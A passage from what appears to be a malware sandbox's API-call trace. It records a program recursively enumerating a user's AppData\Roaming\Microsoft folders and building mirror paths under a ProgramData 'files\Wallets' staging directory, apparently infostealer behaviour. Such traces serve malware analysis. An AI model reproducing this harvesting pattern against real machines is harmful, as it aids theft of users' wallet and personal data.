lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\.." [0052.206] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.206] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.206] FindNextFileW (in: hFindFile=0x589ec0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.206] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0052.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\" [0052.206] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\", lpString2="Low" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0052.207] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData" [0052.207] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\" [0052.207] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\", lpString2="Low" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low" [0052.207] lstrcmpW (lpString1="Low", lpString2=".") returned 1 [0052.207] lstrcmpW (lpString1="Low", lpString2="..") returned 1 [0052.207] lstrcpyW (in: lpString1=0x19ce68, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0052.207] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*.*" [0052.207] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\*.*", lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0x589dc0 [0052.209] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0052.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\" [0052.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\." [0052.209] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low" [0052.209] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\" [0052.209] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\." [0052.209] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.209] FindNextFileW (in: hFindFile=0x589dc0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 1 [0052.209] lstrcpyW (in: lpString1=0x19d280, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low" [0052.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\" [0052.209] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\.." [0052.209] lstrcpyW (in: lpString1=0x19d074, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low" [0052.209] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\" [0052.209] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Internet Explorer\\UserData\\Low\\.." [0052.209] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.209] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.209] FindNextFileW (in: hFindFile=0x589dc0, lpFindFileData=0x19cba8 | out: lpFindFileData=0x19cba8) returned 0 [0052.209] FindClose (in: hFindFile=0x589dc0 | out: hFindFile=0x589dc0) returned 1 [0052.210] FindNextFileW (in: hFindFile=0x589ec0, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 0 [0052.210] FindClose (in: hFindFile=0x589ec0 | out: hFindFile=0x589ec0) returned 1 [0052.210] FindNextFileW (in: hFindFile=0x58a300, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.210] FindClose (in: hFindFile=0x58a300 | out: hFindFile=0x58a300) returned 1 [0052.210] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.210] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MMC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" [0052.210] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.210] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.210] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="MMC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC" [0052.210] lstrcmpW (lpString1="MMC", lpString2=".") returned 1 [0052.210] lstrcmpW (lpString1="MMC", lpString2="..") returned 1 [0052.210] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" [0052.210] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*.*" [0052.210] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x589f40 [0052.243] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" [0052.243] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\" [0052.243] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\." [0052.243] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC" [0052.243] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\" [0052.243] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\." [0052.243] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.243] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.244] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC" [0052.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\" [0052.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MMC\\.." [0052.244] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC" [0052.244] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\" [0052.244] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MMC\\.." [0052.244] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.244] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.244] FindNextFileW (in: hFindFile=0x589f40, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.244] FindClose (in: hFindFile=0x589f40 | out: hFindFile=0x589f40) returned 1 [0052.244] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.244] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" [0052.244] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.244] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.244] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="MS Project" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project" [0052.244] lstrcmpW (lpString1="MS Project", lpString2=".") returned 1 [0052.244] lstrcmpW (lpString1="MS Project", lpString2="..") returned 1 [0052.244] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" [0052.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*.*" [0052.244] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a3c0 [0052.244] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" [0052.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\" [0052.245] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\." [0052.245] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project" [0052.245] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\" [0052.245] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\." [0052.245] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.245] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.245] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" [0052.245] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\" [0052.245] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\.." [0052.245] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project" [0052.245] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\" [0052.245] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\.." [0052.245] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.245] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.245] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.245] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project" [0052.245] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\" [0052.245] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\MS Project\\16" [0052.245] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project" [0052.245] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\MS Project\\" [0052.245] lstrcatW (in: 